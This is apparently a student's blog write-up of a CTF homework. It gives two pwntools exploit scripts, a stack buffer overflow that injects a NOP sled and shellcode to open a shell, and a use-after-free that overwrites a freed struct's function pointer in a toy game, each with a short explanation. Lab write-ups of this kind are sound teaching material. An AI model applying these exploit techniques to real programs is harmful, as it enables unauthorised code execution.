Not sure if I am allowed to post about homework here but nobody gonna read this right?
Hopefully.
Homework was CTF and two types of vulnerabilities were explored.
First is Buffer Overflow resulting into opening a shell.
The other is use after free vulnerability allowing my fictional game character to upgrade himself as much as he wants.
First the buffer overflow:
from pwn import *
import re
context.log_level = 'debug'
target = './your_first_bof'
p = process(target)
shellcode = shellcraft.sh()
attack = b''
attack += b'a' * 28
io = p
io.recv()
line = io.recv()
m = re.findall(r'0x[0-9a-f]+', line.decode(), re.I)
print(m[1])
to_hex = int(m[1], 16)
to_hex_n = hex(to_hex)
print(to_hex_n)
attack += p32(to_hex + 32)
attack += b'\x90' * 100
attack += asm(shellcode)
io.sendline('a')
io.sendline('a')
io.sendline(attack)
io.interactive()
Solution was simple but not sure I get the whole picture. There seemed to be three locations at which buffer overflow can occur. The program took three inputs and after all three inputs are taken it would cause a crash due to SIGSEGV.
Indicating that string length is not kept and the buffer overwrites the return address. Found the length buffer right before return address to be 28. Now after that we need the stack address.
However the stack address changes every execution but our kind program informs us of the stack address at the start. So we have a regular expression section extracting the return address. After extraction we add 32 to jump over the buffer and return address. The original address show the start of the buffer so we need this part.
We inject nopsled and a shell code. After the shell opens we just cat the flag.
The above code may not work since I don't remember the actual code I used for the CTF and this one has some edits afterwards so...
Well it gives the approximate idea. Also I learned you can plant gdb ontop of pwntool but never could get it to work. Yeah so I had to manually check some behaviors through gdb.
Use after Free
Buffer overflow didn't take long but this actually took quite some time for me.
The game is a terminal based game (very simple) basically we need a certain amount of intelligence and strength to get the flag.
The game is kinda shit because you can't get intelligence only strength. (so kinda unbeatable) also u don't get a lot of money.
Interestingly buying potion creates a pointer and drinking frees this pointer. After we buy and drink and write a message
message pointer is written on the potion pointer that was freed.
Now we overwrite this portion and the drinking mechanism treat it as a potion. The structure of the pointer is first there is the name 128bit allocated for this purpose. And 32bit address to a function increasing the strength.
Through objdump we get the function for strength increase and intelligence increase. We plant this address and can level up our character.
from pwn import *
target = "cheat-the-game"
incrStr = p32(0x4011d6)
incrInt = p32(0x401205)
context.binary = ELF(target, checksec=False)
context.log_level = 'debug'
print(incrStr)
print(incrInt)
pad = p32(0x41414141)
cheatStr = b''
cheatInt = b''
cheatStr += pad * 4 + incrStr + p32(0x00000000)
cheatInt += pad * 4 + incrInt + p32(0x00000000)
p = process(target)
io = p
io.sendline('1')
print(io.recv().decode('ascii'))
io.sendline('2')
print(io.recv().decode('ascii'))
for i in range(10):
io.sendline('3')
print(io.recv().decode('ascii'))
io.sendline(cheatStr)
print(io.recv())
io.sendline('2')
print(io.recv().decode('ascii'))
io.sendline('3')
print(io.recv().decode('ascii'))
io.sendline(cheatInt)
print(io.recv())
io.sendline('2')
print(io.recv().decode('ascii'))
io.interactive()